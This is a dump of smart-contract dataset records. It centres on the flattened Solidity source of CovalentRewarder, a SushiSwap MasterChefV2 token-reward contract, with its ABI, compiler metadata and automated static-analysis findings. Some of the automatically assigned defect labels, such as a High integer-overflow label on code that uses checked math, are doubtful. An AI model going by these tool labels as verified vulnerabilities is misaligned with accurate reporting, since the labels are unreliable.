"SOLIDITY_USING_INLINE_ASSEMBLY", "line": 556, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 561, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 571, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 575, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 579, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 583, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 592, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 596, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 600, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 604, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 607, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 615, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 621, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 17, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 20, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 24, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 25, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 29, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 32, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 33, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 36, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 37, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 48, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 60, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 63, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 71, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 75, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 113, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 464, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 465, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 466, "severity": 1}]
[{"constant":false,"inputs":[{"name":"withdrawAmount","type":"uint256"}],"name":"withdrawFunds","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"betMask","type":"uint256"},{"name":"modulo","type":"uint256"},{"name":"commitLastBlock","type":"uint256"},{"name":"commit","type":"uint256"},{"name":"r","type":"bytes32"},{"name":"s","type":"bytes32"},{"name":"amount","type":"uint256"}],"name":"placeBet","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"kill","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"secretSigner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"beneficiary_","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"jackpotSize","outputs":[{"name":"","type":"uint128"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"croupier","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"reveal","type":"uint256"},{"name":"canonicalBlockNumber","type":"uint40"}],"name":"settleBetUncleMerkleProof","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"maxProfit","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"reveal","type":"uint256"},{"name":"blockHash","type":"bytes32"}],"name":"settleBet","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"acceptNextOwner","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_nextOwner","type":"address"}],"name":"approveNextOwner","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"increaseAmount","type":"uint256"}],"name":"increaseJackpot","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"newSecretSigner","type":"address"}],"name":"setSecretSigner","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"lockedInBets","outputs":[{"name":"","type":"uint128"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"commit","type":"uint256"}],"name":"refundBet","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"newCroupier","type":"address"}],"name":"setCroupier","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_maxProfit","type":"uint256"}],"name":"setMaxProfit","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":true,"name":"beneficiary","type":"address"},{"indexed":false,"name":"amount","type":"uint256"}],"name":"FailedPayment","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"beneficiary","type":"address"},{"indexed":false,"name":"amount","type":"uint256"}],"name":"Payment","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"beneficiary","type":"address"},{"indexed":false,"name":"amount","type":"uint256"}],"name":"JackpotPayment","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"commit","type":"uint256"}],"name":"Commit","type":"event"}]
v0.4.25+commit.59dbf8f1
true
200
Default
false
bzzr://7590beb0e9ce8675927ed23abcbc6c55fedc2fedacbbc2a393185766ad9d1044
CovalentRewarder
0x4dba3b002319067f03bf2c99218b9af149c2ddb6
Solidity
// Sources flattened with hardhat v2.0.11 https://hardhat.org // File @boringcrypto/boring-solidity/contracts/interfaces/[email protected] // SPDX-License-Identifier: MIT pragma solidity 0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); /// @notice EIP 2612 function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; } // File @boringcrypto/boring-solidity/contracts/libraries/[email protected] pragma solidity 0.6.12; // solhint-disable avoid-low-level-calls library BoringERC20 { bytes4 private constant SIG_SYMBOL = 0x95d89b41; // symbol() bytes4 private constant SIG_NAME = 0x06fdde03; // name() bytes4 private constant SIG_DECIMALS = 0x313ce567; // decimals() bytes4 private constant SIG_TRANSFER = 0xa9059cbb; // transfer(address,uint256) bytes4 private constant SIG_TRANSFER_FROM = 0x23b872dd; // transferFrom(address,address,uint256) function returnDataToString(bytes memory data) internal pure returns (string memory) { if (data.length >= 64) { return abi.decode(data, (string)); } else if (data.length == 32) { uint8 i = 0; while(i < 32 && data[i] != 0) { i++; } bytes memory bytesArray = new bytes(i); for (i = 0; i < 32 && data[i] != 0; i++) { bytesArray[i] = data[i]; } return string(bytesArray); } else { return "???"; } } /// @notice Provides a safe ERC20.symbol version which returns '???' as fallback string. /// @param token The address of the ERC-20 token contract. /// @return (string) Token symbol. function safeSymbol(IERC20 token) internal view returns (string memory) { (bool success, bytes memory data) = address(token).staticcall(abi.encodeWithSelector(SIG_SYMBOL)); return success ? returnDataToString(data) : "???"; } /// @notice Provides a safe ERC20.name version which returns '???' as fallback string. /// @param token The address of the ERC-20 token contract. /// @return (string) Token name. function safeName(IERC20 token) internal view returns (string memory) { (bool success, bytes memory data) = address(token).staticcall(abi.encodeWithSelector(SIG_NAME)); return success ? returnDataToString(data) : "???"; } /// @notice Provides a safe ERC20.decimals version which returns '18' as fallback value. /// @param token The address of the ERC-20 token contract. /// @return (uint8) Token decimals. function safeDecimals(IERC20 token) internal view returns (uint8) { (bool success, bytes memory data) = address(token).staticcall(abi.encodeWithSelector(SIG_DECIMALS)); return success && data.length == 32 ? abi.decode(data, (uint8)) : 18; } /// @notice Provides a safe ERC20.transfer version for different ERC-20 implementations. /// Reverts on a failed transfer. /// @param token The address of the ERC-20 token. /// @param to Transfer tokens to. /// @param amount The token amount. function safeTransfer( IERC20 token, address to, uint256 amount ) internal { (bool success, bytes memory data) = address(token).call(abi.encodeWithSelector(SIG_TRANSFER, to, amount)); require(success && (data.length == 0 || abi.decode(data, (bool))), "BoringERC20: Transfer failed"); } /// @notice Provides a safe ERC20.transferFrom version for different ERC-20 implementations. /// Reverts on a failed transfer. /// @param token The address of the ERC-20 token. /// @param from Transfer tokens from. /// @param to Transfer tokens to. /// @param amount The token amount. function safeTransferFrom( IERC20 token, address from, address to, uint256 amount ) internal { (bool success, bytes memory data) = address(token).call(abi.encodeWithSelector(SIG_TRANSFER_FROM, from, to, amount)); require(success && (data.length == 0 || abi.decode(data, (bool))), "BoringERC20: TransferFrom failed"); } } // File contracts/interfaces/IRewarder.sol pragma solidity 0.6.12; interface IRewarder { using BoringERC20 for IERC20; function onSushiReward(uint256 pid, address user, address recipient, uint256 sushiAmount, uint256 newLpAmount) external; function pendingTokens(uint256 pid, address user, uint256 sushiAmount) external view returns (IERC20[] memory, uint256[] memory); } // File @boringcrypto/boring-solidity/contracts/libraries/[email protected] pragma solidity 0.6.12; /// @notice A library for performing overflow-/underflow-safe math, /// updated with awesomeness from of DappHub (https://github.com/dapphub/ds-math). library BoringMath { function add(uint256 a, uint256 b) internal pure returns (uint256 c) { require((c = a + b) >= b, "BoringMath: Add Overflow"); } function sub(uint256 a, uint256 b) internal pure returns (uint256 c) { require((c = a - b) <= a, "BoringMath: Underflow"); } function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { require(b == 0 || (c = a * b) / b == a, "BoringMath: Mul Overflow"); } function to128(uint256 a) internal pure returns (uint128 c) { require(a <= uint128(-1), "BoringMath: uint128 Overflow"); c = uint128(a); } function to64(uint256 a) internal pure returns (uint64 c) { require(a <= uint64(-1), "BoringMath: uint64 Overflow"); c = uint64(a); } function to32(uint256 a) internal pure returns (uint32 c) { require(a <= uint32(-1), "BoringMath: uint32 Overflow"); c = uint32(a); } } /// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint128. library BoringMath128 { function add(uint128 a, uint128 b) internal pure returns (uint128 c) { require((c = a + b) >= b, "BoringMath: Add Overflow"); } function sub(uint128 a, uint128 b) internal pure returns (uint128 c) { require((c = a - b) <= a, "BoringMath: Underflow"); } } /// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint64. library BoringMath64 { function add(uint64 a, uint64 b) internal pure returns (uint64 c) { require((c = a + b) >= b, "BoringMath: Add Overflow"); } function sub(uint64 a, uint64 b) internal pure returns (uint64 c) { require((c = a - b) <= a, "BoringMath: Underflow"); } } /// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint32. library BoringMath32 { function add(uint32 a, uint32 b) internal pure returns (uint32 c) { require((c = a + b) >= b, "BoringMath: Add Overflow"); } function sub(uint32 a, uint32 b) internal pure returns (uint32 c) { require((c = a - b) <= a, "BoringMath: Underflow"); } } // File @boringcrypto/boring-solidity/contracts/[email protected] pragma solidity 0.6.12; // Audit on 5-Jan-2021 by Keno and BoringCrypto // Source: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable.sol + Claimable.sol // Edited by BoringCrypto contract BoringOwnableData { address public owner; address public pendingOwner; } contract BoringOwnable is BoringOwnableData { event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /// @notice `owner` defaults to msg.sender on construction. constructor() public { owner = msg.sender; emit OwnershipTransferred(address(0), msg.sender); } /// @notice Transfers ownership to `newOwner`. Either directly or claimable by the new pending owner. /// Can only be invoked by the current `owner`. /// @param newOwner Address of the new owner. /// @param direct True if `newOwner` should be set immediately. False if `newOwner` needs to use `claimOwnership`. /// @param renounce Allows the `newOwner` to be `address(0)` if `direct` and `renounce` is True. Has no effect otherwise. function transferOwnership( address newOwner, bool direct, bool renounce ) public onlyOwner { if (direct) { // Checks require(newOwner != address(0) || renounce, "Ownable: zero address"); // Effects emit OwnershipTransferred(owner, newOwner); owner = newOwner; pendingOwner = address(0); } else { // Effects pendingOwner = newOwner; } } /// @notice Needs to be called by `pendingOwner` to claim ownership. function claimOwnership() public { address _pendingOwner = pendingOwner; // Checks require(msg.sender == _pendingOwner, "Ownable: caller != pending owner"); // Effects emit OwnershipTransferred(owner, _pendingOwner); owner = _pendingOwner; pendingOwner = address(0); } /// @notice Only allows the `owner` to execute the function. modifier onlyOwner() { require(msg.sender == owner, "Ownable: caller is not the owner"); _; } } // File contracts/mocks/CloneRewarderTime.sol pragma solidity 0.6.12; pragma experimental ABIEncoderV2; interface IMasterChefV2 { function lpToken(uint256 pid) external view returns (IERC20 _lpToken); } /// @author @0xKeno contract CovalentRewarder is IRewarder, BoringOwnable{ using BoringMath for uint256; using BoringMath128 for uint128; using BoringERC20 for IERC20; IERC20 public rewardToken; /// @notice Info of each MCV2 user. /// `amount` LP token amount the user has provided. /// `rewardDebt` The amount of SUSHI entitled to the user. struct UserInfo { uint256 amount; uint256 rewardDebt; } /// @notice Info of each MCV2 pool. /// `allocPoint` The amount of allocation points assigned to the pool. /// Also known as the amount of SUSHI to distribute per block. struct PoolInfo { uint128 accSushiPerShare; uint64 lastRewardTime; } /// @notice Info of each pool. mapping (uint256 => PoolInfo) public poolInfo; /// @notice Info of each user that stakes LP tokens. mapping (uint256 => mapping (address => UserInfo)) public userInfo; uint256 public rewardPerSecond; IERC20 public masterLpToken; uint256 private constant ACC_TOKEN_PRECISION = 1e12; address public immutable MASTERCHEF_V2; event LogOnReward(address indexed user, uint256 indexed pid, uint256 amount, address indexed to); event LogPoolAddition(uint256 indexed pid, uint256 allocPoint); event LogSetPool(uint256 indexed pid, uint256 allocPoint); event LogUpdatePool(uint256 indexed pid, uint64 lastRewardTime, uint256 lpSupply, uint256 accSushiPerShare); event LogRewardPerSecond(uint256 rewardPerSecond); event LogInit(); constructor (address _MASTERCHEF_V2) public { MASTERCHEF_V2 = _MASTERCHEF_V2; } /// @notice Serves as the constructor for clones, as clones can't have a regular constructor /// @dev `data` is abi encoded in the format: (IERC20 collateral, IERC20 asset, IOracle oracle, bytes oracleData) function init(bytes calldata data) public payable { require(rewardToken == IERC20(0), "Rewarder: already initialized"); (rewardToken, owner, rewardPerSecond, masterLpToken) = abi.decode(data, (IERC20, address, uint256, IERC20)); require(rewardToken != IERC20(0), "Rewarder: bad token"); emit LogInit(); } function onSushiReward (uint256 pid, address _user, address to, uint256, uint256 lpToken) onlyMCV2 override external { require(IMasterChefV2(MASTERCHEF_V2).lpToken(pid) == masterLpToken); PoolInfo memory pool = updatePool(pid); UserInfo storage user = userInfo[pid][_user]; uint256 pending; if (user.amount > 0) { pending = (user.amount.mul(pool.accSushiPerShare) / ACC_TOKEN_PRECISION).sub( user.rewardDebt ); rewardToken.safeTransfer(to, pending); } user.amount = lpToken; user.rewardDebt = lpToken.mul(pool.accSushiPerShare) / ACC_TOKEN_PRECISION; emit LogOnReward(_user, pid, pending, to); } function pendingTokens(uint256 pid, address user, uint256) override external view returns (IERC20[] memory rewardTokens, uint256[] memory rewardAmounts) { IERC20[] memory _rewardTokens = new IERC20[](1); _rewardTokens[0] = (rewardToken); uint256[] memory _rewardAmounts = new uint256[](1); _rewardAmounts[0] = pendingToken(pid, user); return (_rewardTokens, _rewardAmounts); } /// @notice Sets the sushi per second to be distributed. Can only be called by the owner. /// @param _rewardPerSecond The amount of Sushi to be distributed per second. function setRewardPerSecond(uint256 _rewardPerSecond) public onlyOwner { rewardPerSecond = _rewardPerSecond; emit LogRewardPerSecond(_rewardPerSecond); } modifier onlyMCV2 { require( msg.sender == MASTERCHEF_V2, "Only MCV2 can call this function." ); _; } /// @notice View function to see pending Token /// @param _pid The index of the pool. See `poolInfo`. /// @param _user Address of user. /// @return pending SUSHI reward for a given user. function pendingToken(uint256 _pid, address _user) public view returns (uint256 pending) { PoolInfo memory pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accSushiPerShare = pool.accSushiPerShare; uint256 lpSupply = IMasterChefV2(MASTERCHEF_V2).lpToken(_pid).balanceOf(MASTERCHEF_V2); if (block.timestamp > pool.lastRewardTime && lpSupply != 0) { uint256 time = block.timestamp.sub(pool.lastRewardTime); uint256 sushiReward = time.mul(rewardPerSecond); accSushiPerShare = accSushiPerShare.add(sushiReward.mul(ACC_TOKEN_PRECISION) / lpSupply); } pending = (user.amount.mul(accSushiPerShare) / ACC_TOKEN_PRECISION).sub(user.rewardDebt); } /// @notice Update reward variables of the given pool. /// @param pid The index of the pool. See `poolInfo`. /// @return pool Returns the pool that was updated. function updatePool(uint256 pid) public returns (PoolInfo memory pool) { pool = poolInfo[pid]; if (block.timestamp > pool.lastRewardTime) { uint256 lpSupply = IMasterChefV2(MASTERCHEF_V2).lpToken(pid).balanceOf(MASTERCHEF_V2); if (lpSupply > 0) { uint256 time = block.timestamp.sub(pool.lastRewardTime); uint256 sushiReward = time.mul(rewardPerSecond); pool.accSushiPerShare = pool.accSushiPerShare.add((sushiReward.mul(ACC_TOKEN_PRECISION) / lpSupply).to128()); } pool.lastRewardTime = block.timestamp.to64(); poolInfo[pid] = pool; emit LogUpdatePool(pid, pool.lastRewardTime, lpSupply, pool.accSushiPerShare); } } }
[{"defect": "Leaking_to_arbitary_address", "type": "Access_control", "severity": "Medium", "lines": ["281"]}, {"defect": "Uninitialized_storage", "type": "Code_specification", "severity": "Low", "lines": ["341", "384"]}, {"defect": "Bad_randomness", "type": "Business_logic", "severity": "Medium", "lines": ["404", "388", "408"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["210", "211"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["329", "227", "247"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["392", "390", "344"]}, {"defect": "Dependency_of_timestamp", "type": "Business_logic", "severity": "Medium", "lines": ["400", "387"]}]
[{"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"CovalentRewarder.sol": [67, 68, 69, 70]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"CovalentRewarder.sol": [173, 174, 175]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"CovalentRewarder.sol": [184, 185, 186]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"CovalentRewarder.sol": [108, 109, 110, 111, 112, 113, 114, 115, 116]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"CovalentRewarder.sol": [161, 162, 163, 164]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"CovalentRewarder.sol": [192, 193, 191]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"CovalentRewarder.sol": [83, 84, 85, 86]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"CovalentRewarder.sol": [195, 196, 197]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"CovalentRewarder.sol": [180, 181, 182]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"CovalentRewarder.sol": [75, 76, 77, 78]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"CovalentRewarder.sol": [46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"CovalentRewarder.sol": [330, 331, 332, 333, 334, 335]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"CovalentRewarder.sol": [256, 257, 258, 248, 249, 250, 251, 252, 253, 254, 255]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"CovalentRewarder.sol": [368, 365, 366, 367]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"CovalentRewarder.sol": [228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245]}}, {"check": "locked-ether", "impact": "Medium", "confidence": "High", "lines": {"CovalentRewarder.sol": [330, 331, 332, 333, 334, 335]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"CovalentRewarder.sol": [98]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"CovalentRewarder.sol": [84]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"CovalentRewarder.sol": [76]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"CovalentRewarder.sol": [114]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"CovalentRewarder.sol": [68]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"CovalentRewarder.sol": [243]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"CovalentRewarder.sol": [325]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"CovalentRewarder.sol": [337]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"CovalentRewarder.sol": [315]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"CovalentRewarder.sol": [382]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"CovalentRewarder.sol": [365]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"CovalentRewarder.sol": [382]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"CovalentRewarder.sol": [352]}}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium", "lines": {"CovalentRewarder.sol": [351]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"CovalentRewarder.sol": [400]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"CovalentRewarder.sol": [387]}}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium", "lines": {"CovalentRewarder.sol": [342]}}]
[]
[{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 40, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 41, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 42, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 43, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 44, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 240, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 257, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 51, "severity": 1}, {"rule": "SOLIDITY_LOCKED_MONEY", "line": 281, "severity": 3}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 365, "severity": 2}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 40, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 41, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 42, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 43, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 44, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 313, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 128, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 355, "severity": 1}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 68, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 76, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 84, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 98, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 114, "severity": 3}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 330, "severity": 1}]
[{"inputs":[{"internalType":"address","name":"_MASTERCHEF_V2","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[],"name":"LogInit","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":true,"internalType":"uint256","name":"pid","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"LogOnReward","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"pid","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"allocPoint","type":"uint256"}],"name":"LogPoolAddition","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"rewardPerSecond","type":"uint256"}],"name":"LogRewardPerSecond","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"pid","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"allocPoint","type":"uint256"}],"name":"LogSetPool","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"pid","type":"uint256"},{"indexed":false,"internalType":"uint64","name":"lastRewardTime","type":"uint64"},{"indexed":false,"internalType":"uint256","name":"lpSupply","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"accSushiPerShare","type":"uint256"}],"name":"LogUpdatePool","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"inputs":[],"name":"MASTERCHEF_V2","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"claimOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes","name":"data","type":"bytes"}],"name":"init","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"masterLpToken","outputs":[{"internalType":"contract IERC20","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"pid","type":"uint256"},{"internalType":"address","name":"_user","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"lpToken","type":"uint256"}],"name":"onSushiReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pendingOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_pid","type":"uint256"},{"internalType":"address","name":"_user","type":"address"}],"name":"pendingToken","outputs":[{"internalType":"uint256","name":"pending","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"pid","type":"uint256"},{"internalType":"address","name":"user","type":"address"},{"internalType":"uint256","name":"","type":"uint256"}],"name":"pendingTokens","outputs":[{"internalType":"contract IERC20[]","name":"rewardTokens","type":"address[]"},{"internalType":"uint256[]","name":"rewardAmounts","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"poolInfo","outputs":[{"internalType":"uint128","name":"accSushiPerShare","type":"uint128"},{"internalType":"uint64","name":"lastRewardTime","type":"uint64"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"rewardPerSecond","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"rewardToken","outputs":[{"internalType":"contract IERC20","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_rewardPerSecond","type":"uint256"}],"name":"setRewardPerSecond","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"},{"internalType":"bool","name":"direct","type":"bool"},{"internalType":"bool","name":"renounce","type":"bool"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"pid","type":"uint256"}],"name":"updatePool","outputs":[{"components":[{"internalType":"uint128","name":"accSushiPerShare","type":"uint128"},{"internalType":"uint64","name":"lastRewardTime","type":"uint64"}],"internalType":"struct CovalentRewarder.PoolInfo","name":"pool","type":"tuple"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"address","name":"","type":"address"}],"name":"userInfo","outputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"rewardDebt","type":"uint256"}],"stateMutability":"view","type":"function"}]
v0.6.12+commit.27d51765
true
200
000000000000000000000000ef0881ec094552b2e128cf945ef17a6752b4ec5d
Default
None
false
ipfs://e242eeaeebcd12b164ade5437febc8d61b6c147995ecee6465170ae6b10036b7
Token
0xda4c5aea122260e70616e979592735f12fe20499
Solidity
